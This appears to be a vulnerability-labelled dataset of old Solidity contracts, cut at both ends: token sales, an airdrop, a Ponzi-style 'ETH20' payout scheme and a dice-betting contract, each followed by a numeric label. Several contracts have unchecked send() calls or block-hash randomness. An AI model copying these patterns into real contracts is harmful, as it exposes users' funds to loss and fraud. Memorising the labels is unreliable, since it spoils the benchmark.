LOG_callTokenTransferFrom(tokenSender, _to, _value);
return true;
}
} | 0 | 1,362 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Destructible is Ownable {
function Destructible() public payable { }
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
uint256 public hardCap;
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract KryptoroToken is MintableToken, Destructible {
string public constant name = "KRYPTORO Coin";
string public constant symbol = "KTO";
uint8 public constant decimals = 18;
function KryptoroToken() public {
hardCap = 100 * 1000000 * (10 ** uint256(decimals));
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply.add(_amount) <= hardCap);
return super.mint(_to, _amount);
}
}
contract KTOCrowdsale is Ownable{
using SafeMath for uint256;
KryptoroToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event TokenContractUpdated(bool state);
event WalletAddressUpdated(bool state);
function KTOCrowdsale() public {
token = createTokenContract();
startTime = 1532332800;
endTime = 1539590400;
rate = 612;
wallet = 0x34367d515ff223a27985518f2780cccc4a7e0fc9;
}
function createTokenContract() internal returns (KryptoroToken) {
return new KryptoroToken();
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool nonZeroPurchase = msg.value != 0;
bool withinPeriod = now >= startTime && now <= endTime;
return nonZeroPurchase && withinPeriod;
}
function hasEnded() public view returns (bool) {
bool timeEnded = now > endTime;
return timeEnded;
}
function updateKryptoroToken(address _tokenAddress) onlyOwner{
require(_tokenAddress != address(0));
token.transferOwnership(_tokenAddress);
TokenContractUpdated(true);
}
function updateWalletAddress(address _newWallet) onlyOwner {
require(_newWallet != address(0));
wallet = _newWallet;
WalletAddressUpdated(true);
}
} | 1 | 5,545 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract AltcoinToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function transferFrom(address from, address to, uint256 value) public returns (bool);
}
contract InvestHAT2 is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
address _tokenContract = 0xe6465c1909d5721c3d573fab1198182e4309b1a1;
AltcoinToken thetoken = AltcoinToken(_tokenContract);
uint256 public tokensPerEth = 25000000e8;
uint256 public tokensPerAirdrop = 500e8;
uint256 public airdropcounter = 0;
uint256 public constant minContribution = 1 ether / 100;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Distr(address indexed to, uint256 amount);
event TokensPerEthUpdated(uint _tokensPerEth);
event TokensPerAirdropUpdated(uint _tokensPerEth);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function InvestHAT2 () public {
owner = msg.sender;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function updateTokensPerAirdrop(uint _tokensPerAirdrop) public onlyOwner {
tokensPerAirdrop = _tokensPerAirdrop;
emit TokensPerAirdropUpdated(_tokensPerAirdrop);
}
function () external payable {
if ( msg.value >= minContribution) {
sendTokens();
}
else if ( msg.value < minContribution) {
airdropcounter = airdropcounter + 1;
sendAirdrop();
}
}
function sendTokens() private returns (bool) {
uint256 tokens = 0;
require( msg.value >= minContribution );
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
sendtokens(thetoken, tokens, investor);
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function sendAirdrop() private returns (bool) {
uint256 tokens = 0;
require( airdropcounter < 1000 );
tokens = tokensPerAirdrop;
address holder = msg.sender;
sendtokens(thetoken, tokens, holder);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
AltcoinToken t = AltcoinToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function resetAirdrop() onlyOwner public {
airdropcounter=0;
}
function withdrawAltcoinTokens(address anycontract) onlyOwner public returns (bool) {
AltcoinToken anytoken = AltcoinToken(anycontract);
uint256 amount = anytoken.balanceOf(address(this));
return anytoken.transfer(owner, amount);
}
function sendtokens(address contrato, uint256 amount, address who) private returns (bool) {
AltcoinToken alttoken = AltcoinToken(contrato);
return alttoken.transfer(who, amount);
}
} | 0 | 506 |
contract bbb{
address owner;
event EmailSent(address Sender, uint256 PricePaid, string EmailAddress, string Message);
function bbb() {
owner = msg.sender;
}
function Kill() {
if(msg.sender==owner){
suicide(owner);
}
}
function Withdraw(uint256 AmountToWithdraw){
owner.send(AmountToWithdraw);
}
function SendEmail(string EmailAddress, string Message) {
EmailSent(msg.sender, msg.value, EmailAddress, Message);
}
} | 0 | 1,417 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract MultiOwners {
event AccessGrant(address indexed owner);
event AccessRevoke(address indexed owner);
mapping(address => bool) owners;
address public publisher;
function MultiOwners() {
owners[msg.sender] = true;
publisher = msg.sender;
}
modifier onlyOwner() {
require(owners[msg.sender] == true);
_;
}
function isOwner() constant returns (bool) {
return owners[msg.sender] ? true : false;
}
function checkOwner(address maybe_owner) constant returns (bool) {
return owners[maybe_owner] ? true : false;
}
function grant(address _owner) onlyOwner {
owners[_owner] = true;
AccessGrant(_owner);
}
function revoke(address _owner) onlyOwner {
require(_owner != publisher);
require(msg.sender != _owner);
owners[_owner] = false;
AccessRevoke(_owner);
}
}
contract Haltable is MultiOwners {
bool public halted;
modifier stopInEmergency {
require(!halted);
_;
}
modifier onlyInEmergency {
require(halted);
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract StagePercentageStep is MultiOwners {
using SafeMath for uint256;
string public name;
uint256 public tokenPriceInETH;
uint256 public mintCapInETH;
uint256 public mintCapInUSD;
uint256 public mintCapInTokens;
uint256 public hardCapInTokens;
uint256 public totalWei;
uint256 public bonusAvailable;
uint256 public bonusTotalSupply;
struct Round {
uint256 windowInTokens;
uint256 windowInETH;
uint256 accInETH;
uint256 accInTokens;
uint256 nextAccInETH;
uint256 nextAccInTokens;
uint256 discount;
uint256 priceInETH;
uint256 weightPercentage;
}
Round[] public rounds;
function StagePercentageStep(string _name) {
name = _name;
}
function totalEther() public constant returns(uint256) {
return totalWei.div(1e18);
}
function registerRound(uint256 priceDiscount, uint256 weightPercentage) internal {
uint256 windowInETH;
uint256 windowInTokens;
uint256 accInETH = 0;
uint256 accInTokens = 0;
uint256 priceInETH;
priceInETH = tokenPriceInETH.mul(100-priceDiscount).div(100);
windowInETH = mintCapInETH.mul(weightPercentage).div(100);
windowInTokens = windowInETH.mul(1e18).div(priceInETH);
if(rounds.length > 0) {
accInTokens = accInTokens.add(rounds[rounds.length-1].nextAccInTokens);
accInETH = accInETH.add(rounds[rounds.length-1].nextAccInETH);
}
rounds.push(Round({
windowInETH: windowInETH,
windowInTokens: windowInTokens,
accInETH: accInETH,
accInTokens: accInTokens,
nextAccInETH: accInETH + windowInETH,
nextAccInTokens: accInTokens + windowInTokens,
weightPercentage: weightPercentage,
discount: priceDiscount,
priceInETH: priceInETH
}));
mintCapInTokens = mintCapInTokens.add(windowInTokens);
hardCapInTokens = mintCapInTokens.mul(120).div(100);
}
function calcAmount(
uint256 _amount,
uint256 _totalEthers
) public constant returns (uint256 estimate, uint256 amount) {
Round memory round;
uint256 totalEthers = _totalEthers;
amount = _amount;
for(uint256 i; i<rounds.length; i++) {
round = rounds[i];
if(!(totalEthers >= round.accInETH && totalEthers < round.nextAccInETH)) {
continue;
}
if(totalEthers.add(amount) < round.nextAccInETH) {
return (estimate + amount.mul(1e18).div(round.priceInETH), 0);
}
amount = amount.sub(round.nextAccInETH.sub(totalEthers));
estimate = estimate + (
round.nextAccInETH.sub(totalEthers).mul(1e18).div(round.priceInETH)
);
totalEthers = round.nextAccInETH;
}
return (estimate, amount);
}
}
contract SessiaCrowdsale is StagePercentageStep, Haltable {
using SafeMath for uint256;
uint256 public ethPriceInUSD = 680e2;
uint256 public minimalUSD = 680e2;
uint256 public minimalWei = minimalUSD.mul(1e18).div(ethPriceInUSD);
SessiaToken public token;
address public wallet;
uint256 public startTime;
uint256 public endTime;
address public bonusMintingAgent;
event ETokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event ETransferOddEther(address indexed beneficiary, uint256 value);
event ESetBonusMintingAgent(address agent);
event ESetStartTime(uint256 new_startTime);
event ESetEndTime(uint256 new_endTime);
event EManualMinting(address indexed beneficiary, uint256 value, uint256 amount);
event EBonusMinting(address indexed beneficiary, uint256 value);
modifier validPurchase() {
bool nonZeroPurchase = msg.value != 0;
require(withinPeriod() && nonZeroPurchase);
_;
}
function SessiaCrowdsale(
uint256 _startTime,
uint256 _endTime,
address _wallet,
address _bonusMintingAgent
)
public
StagePercentageStep("Pre-ITO")
{
require(_startTime >= 0);
require(_endTime > _startTime);
token = new SessiaToken();
token.grant(_bonusMintingAgent);
token.grant(_wallet);
bonusMintingAgent = _bonusMintingAgent;
wallet = _wallet;
startTime = _startTime;
endTime = _endTime;
tokenPriceInETH = 1e15;
mintCapInUSD = 3000000e2;
mintCapInETH = mintCapInUSD.mul(1e18).div(ethPriceInUSD);
registerRound({priceDiscount: 30, weightPercentage: 10});
registerRound({priceDiscount: 20, weightPercentage: 20});
registerRound({priceDiscount: 10, weightPercentage: 30});
registerRound({priceDiscount: 0, weightPercentage: 40});
require(bonusMintingAgent != 0);
require(wallet != 0x0);
}
function withinPeriod() constant public returns (bool) {
return (now >= startTime && now <= endTime);
}
function running() constant public returns (bool) {
return withinPeriod() && !token.mintingFinished();
}
function setBonusMintingAgent(address agent) public onlyOwner {
require(agent != address(this));
token.revoke(bonusMintingAgent);
token.grant(agent);
bonusMintingAgent = agent;
ESetBonusMintingAgent(agent);
}
function stageName() constant public returns (string) {
bool beforePeriod = (now < startTime);
if(beforePeriod) {
return "Not started";
}
if(withinPeriod()) {
return name;
}
return "Finished";
}
function() public payable {
return buyTokens(msg.sender);
}
function setStartTime(uint256 _at) public onlyOwner {
require(block.timestamp < _at);
require(_at < endTime);
startTime = _at;
ESetStartTime(_at);
}
function setEndTime(uint256 _at) public onlyOwner {
require(startTime < _at);
endTime = _at;
ESetEndTime(_at);
}
function bonusMinting(address to, uint256 amount) stopInEmergency public {
require(msg.sender == bonusMintingAgent || isOwner());
require(amount <= bonusAvailable);
require(token.totalSupply() + amount <= hardCapInTokens);
bonusTotalSupply = bonusTotalSupply.add(amount);
bonusAvailable = bonusAvailable.sub(amount);
EBonusMinting(to, amount);
token.mint(to, amount);
}
function buyTokens(address contributor) payable stopInEmergency validPurchase public {
require(contributor != 0x0);
require(msg.value >= minimalWei);
uint256 amount;
uint256 odd_ethers;
uint256 ethers;
(amount, odd_ethers) = calcAmount(msg.value, totalWei);
require(amount + token.totalSupply() + bonusAvailable <= hardCapInTokens);
ethers = (msg.value.sub(odd_ethers));
token.mint(contributor, amount);
ETokenPurchase(contributor, ethers, amount);
totalWei = totalWei.add(ethers);
if(odd_ethers > 0) {
require(odd_ethers < msg.value);
ETransferOddEther(contributor, odd_ethers);
contributor.transfer(odd_ethers);
}
bonusAvailable = bonusAvailable.add(amount.mul(20).div(100));
wallet.transfer(ethers);
}
function manualMinting(address contributor, uint256 value) onlyOwner stopInEmergency public {
require(withinPeriod());
require(contributor != 0x0);
require(value >= minimalWei);
uint256 amount;
uint256 odd_ethers;
uint256 ethers;
(amount, odd_ethers) = calcAmount(value, totalWei);
require(amount + token.totalSupply() + bonusAvailable <= hardCapInTokens);
ethers = value.sub(odd_ethers);
token.mint(contributor, amount);
EManualMinting(contributor, amount, ethers);
totalWei = totalWei.add(ethers);
bonusAvailable = bonusAvailable.add(amount.mul(20).div(100));
}
function finishCrowdsale() onlyOwner public {
require(block.timestamp > endTime || (mintCapInETH - totalWei) <= 1e18);
require(!token.mintingFinished());
if(bonusAvailable > 0) {
bonusMinting(wallet, bonusAvailable);
}
token.finishMinting();
}
}
contract SessiaToken is MintableToken, MultiOwners {
string public constant name = "Sessia Kickers";
string public constant symbol = "PRE-KICK";
uint8 public constant decimals = 18;
function transferFrom(address from, address to, uint256 value) public returns (bool) {
if(!isOwner()) {
revert();
}
return super.transferFrom(from, to, value);
}
function transfer(address to, uint256 value) public returns (bool) {
if(!isOwner()) {
revert();
}
return super.transfer(to, value);
}
function grant(address _owner) public {
require(publisher == msg.sender);
return super.grant(_owner);
}
function revoke(address _owner) public {
require(publisher == msg.sender);
return super.revoke(_owner);
}
function mint(address _to, uint256 _amount) public returns (bool) {
require(publisher == msg.sender);
return super.mint(_to, _amount);
}
} | 1 | 4,332 |
pragma solidity ^0.4.24;
contract ETH20 {
mapping (address => uint256) invested;
mapping (address => uint256) atBlock;
function () external payable {
if (invested[msg.sender] != 0) {
uint256 amount = invested[msg.sender] * 20/100 * (block.number - atBlock[msg.sender]) / 6000;
address sender = msg.sender;
sender.send(amount);
}
atBlock[msg.sender] = block.number;
invested[msg.sender] += msg.value;
}
} | 0 | 25 |
contract AIGInvestment {
uint constant LONG_PHASE = 4;
uint constant SHORT_PHASE = 5;
uint constant HOUSE_EDGE = 2;
uint constant SAFEGUARD_THRESHOLD = 36000;
uint constant ARCHIVE_SIZE = 100;
uint public minWager = 500 finney;
uint public maxNumInterests = 25;
uint public bankroll = 0;
int public profit = 0;
address public investor;
uint public investorBankroll = 0;
int public investorProfit = 0;
bool public isInvestorLocked = false;
struct Interest {
uint id;
address borrower;
uint8 pick;
bool isMirrored;
uint wager;
uint payout;
uint8 die;
uint timestamp;
address lender;
}
struct Generation {
bytes32 seedHashA;
bytes32 seedHashB;
bytes32 seedA;
bytes32 seedB;
uint minWager;
uint maxPayout;
uint ofage;
uint death;
uint beneficiary;
Interest[] interests;
bool hasAction;
Action action;
int payoutId;
}
uint public oldestGen = 0;
uint public nextGen = 0;
mapping (uint => Generation) generations;
address public owner;
address public seedSourceA;
address public seedSourceB;
bytes32 public nextSeedHashA;
bytes32 public nextSeedHashB;
bool public hasNextSeedHashA;
bool public hasNextSeedHashB;
uint public outstandingPayouts;
uint public totalInterests;
struct Suitability {
bool isSuitable;
uint gen;
}
struct ParserResult {
bool hasResult;
uint8 pick;
bool isMirrored;
uint8 die;
}
enum ActionType { Withdrawal, InvestorDeposit, InvestorWithdrawal }
struct Action {
ActionType actionType;
address sender;
uint amount;
}
modifier onlyowner { if (msg.sender == owner) _; }
modifier onlyseedsources { if (msg.sender == seedSourceA ||
msg.sender == seedSourceB) _; }
event InterestResolved(uint indexed id, uint8 contractDie, bool lenderPrincipals);
function AIGInvestment() {
}
function numberOfHealthyGenerations() returns (uint n) {
n = 0;
for (uint i = oldestGen; i < nextGen; i++) {
if (generations[i].death == 0) {
n++;
}
}
}
function needsBirth() constant returns (bool needed) {
return numberOfHealthyGenerations() < 3;
}
function roomForBirth() constant returns (bool hasRoom) {
return numberOfHealthyGenerations() < 4;
}
function birth(bytes32 freshSeedHash) onlyseedsources {
if (msg.sender == seedSourceA) {
nextSeedHashA = freshSeedHash;
hasNextSeedHashA = true;
} else {
nextSeedHashB = freshSeedHash;
hasNextSeedHashB = true;
}
if (!hasNextSeedHashA || !hasNextSeedHashB || !roomForBirth()) {
return;
}
generations[nextGen].seedHashA = nextSeedHashA;
generations[nextGen].seedHashB = nextSeedHashB;
generations[nextGen].minWager = minWager;
generations[nextGen].maxPayout = (bankroll + investorBankroll) / 100;
generations[nextGen].ofage = block.number + SHORT_PHASE;
nextGen += 1;
hasNextSeedHashA = false;
hasNextSeedHashB = false;
}
function parseMsgData(bytes data) internal constant returns (ParserResult) {
ParserResult memory result;
if (data.length != 8) {
result.hasResult = false;
return result;
}
uint8 start = (uint8(data[0]) - 48) * 10 + (uint8(data[1]) - 48);
uint8 end = (uint8(data[3]) - 48) * 10 + (uint8(data[4]) - 48);
uint8 die = (uint8(data[6]) - 48) * 10 + (uint8(data[7]) - 48);
if (start == 1) {
result.hasResult = true;
result.pick = end + 1;
result.isMirrored = false;
result.die = die;
} else if (end == 20) {
result.hasResult = true;
result.pick = start;
result.isMirrored = true;
result.die = die;
} else {
result.hasResult = false;
}
return result;
}
function _parseMsgData(bytes data) constant returns (bool hasResult,
uint8 pick,
bool isMirrored,
uint8 die) {
ParserResult memory result = parseMsgData(data);
hasResult = result.hasResult;
pick = result.pick;
isMirrored = result.isMirrored;
die = result.die;
}
function () {
ParserResult memory result = parseMsgData(msg.data);
if (result.hasResult) {
interest(result.pick, result.isMirrored, result.die);
} else {
interest(11, true,
toDie(sha3(block.blockhash(block.number - 1), totalInterests)));
}
}
function interest(uint8 pick, bool isMirrored, uint8 die) returns (int) {
if (pick < 2 || pick > 20) {
msg.sender.send(msg.value);
return -1;
}
if (die < 1 || die > 20) {
msg.sender.send(msg.value);
return -1;
}
Suitability memory suitability = findSuitableGen();
uint suitableGen = suitability.gen;
if (!suitability.isSuitable) {
msg.sender.send(msg.value);
return -1;
}
if (msg.value < generations[suitableGen].minWager) {
msg.sender.send(msg.value);
return -1;
}
uint payout = calculatePayout(pick, isMirrored, msg.value);
if (payout > generations[suitableGen].maxPayout) {
msg.sender.send(msg.value);
return -1;
}
if (outstandingPayouts + payout > bankroll + investorBankroll) {
msg.sender.send(msg.value);
return -1;
}
uint idx = generations[suitableGen].interests.length;
generations[suitableGen].interests.length += 1;
generations[suitableGen].interests[idx].id = totalInterests;
generations[suitableGen].interests[idx].lender = msg.sender;
generations[suitableGen].interests[idx].pick = pick;
generations[suitableGen].interests[idx].isMirrored = isMirrored;
generations[suitableGen].interests[idx].wager = msg.value;
generations[suitableGen].interests[idx].payout = payout;
generations[suitableGen].interests[idx].die = die;
generations[suitableGen].interests[idx].timestamp = now;
totalInterests += 1;
outstandingPayouts += payout;
becomeMortal(suitableGen);
return int(totalInterests - 1);
}
function calculatePayout(uint8 pick, bool isMirrored,
uint value) constant returns (uint) {
uint numPrincipalningOutcomes;
if (isMirrored) {
numPrincipalningOutcomes = 21 - pick;
} else {
numPrincipalningOutcomes = pick - 1;
}
uint payoutFactor = (100 - HOUSE_EDGE) * (20000 / numPrincipalningOutcomes);
uint payout = (value * payoutFactor) / 100000;
return payout;
}
function becomeMortal(uint gen) internal {
if (generations[gen].death != 0) {
return;
}
generations[gen].death = block.number + SHORT_PHASE;
}
function isSuitableGen(uint gen, uint offset) constant returns (bool) {
return block.number + offset >= generations[gen].ofage
&& (generations[gen].death == 0
|| block.number + offset < generations[gen].death)
&& generations[gen].interests.length < maxNumInterests;
}
function findSuitableGen() internal constant returns (Suitability
suitability) {
suitability.isSuitable = false;
for (uint i = oldestGen; i < nextGen; i++) {
if (isSuitableGen(i, 0)) {
suitability.gen = i;
suitability.isSuitable = true;
return;
}
}
}
function needsbeneficiary(uint offset) constant returns (bool needed) {
if (oldestGen >= nextGen) {
return false;
}
return generations[oldestGen].death != 0 &&
generations[oldestGen].death + LONG_PHASE <= block.number + offset;
}
function beneficiary(bytes32 seed, int payoutId) onlyseedsources {
if (!needsbeneficiary(0)) {
return;
}
uint gen = oldestGen;
if (msg.sender == seedSourceA
&& sha3(seed) == generations[gen].seedHashA) {
generations[gen].seedA = seed;
} else if (msg.sender == seedSourceB
&& sha3(seed) == generations[gen].seedHashB) {
generations[gen].seedB = seed;
}
if (sha3(generations[gen].seedA) != generations[gen].seedHashA
|| sha3(generations[gen].seedB) != generations[gen].seedHashB) {
return;
}
for (uint i = 0; i < generations[gen].interests.length; i++) {
uint8 contractDie = toContractDie(generations[gen].seedA,
generations[gen].seedB,
generations[gen].interests[i].id);
uint8 pick = generations[gen].interests[i].pick;
bool isMirrored = generations[gen].interests[i].isMirrored;
uint payout = generations[gen].interests[i].payout;
bool lenderPrincipals = interestResolution(contractDie,
generations[gen].interests[i].die,
pick, isMirrored);
if (lenderPrincipals) {
generations[gen].interests[i].lender.send(payout);
}
InterestResolved(generations[gen].interests[i].id, contractDie, lenderPrincipals);
outstandingPayouts -= payout;
if (investorBankroll >= bankroll) {
uint investorShare = generations[gen].interests[i].wager / 2;
uint ownerShare = generations[gen].interests[i].wager - investorShare;
investorBankroll += investorShare;
investorProfit += int(investorShare);
bankroll += ownerShare;
profit += int(ownerShare);
if (lenderPrincipals) {
investorShare = payout / 2;
ownerShare = payout - investorShare;
if (ownerShare > bankroll) {
ownerShare = bankroll;
investorShare = payout - ownerShare;
} else if (investorShare > investorBankroll) {
investorShare = investorBankroll;
ownerShare = payout - investorShare;
}
investorBankroll -= investorShare;
investorProfit -= int(investorShare);
bankroll -= ownerShare;
profit -= int(ownerShare);
}
} else {
bankroll += generations[gen].interests[i].wager;
profit += int(generations[gen].interests[i].wager);
if (lenderPrincipals) {
bankroll -= payout;
profit -= int(payout);
}
}
}
performAction(gen);
generations[gen].beneficiary = block.number;
generations[gen].payoutId = payoutId;
oldestGen += 1;
if (oldestGen >= ARCHIVE_SIZE) {
delete generations[oldestGen - ARCHIVE_SIZE];
}
}
function performAction(uint gen) internal {
if (!generations[gen].hasAction) {
return;
}
uint amount = generations[gen].action.amount;
uint maxWithdrawal;
if (generations[gen].action.actionType == ActionType.Withdrawal) {
maxWithdrawal = (bankroll + investorBankroll) - outstandingPayouts;
if (amount <= maxWithdrawal && amount <= bankroll) {
owner.send(amount);
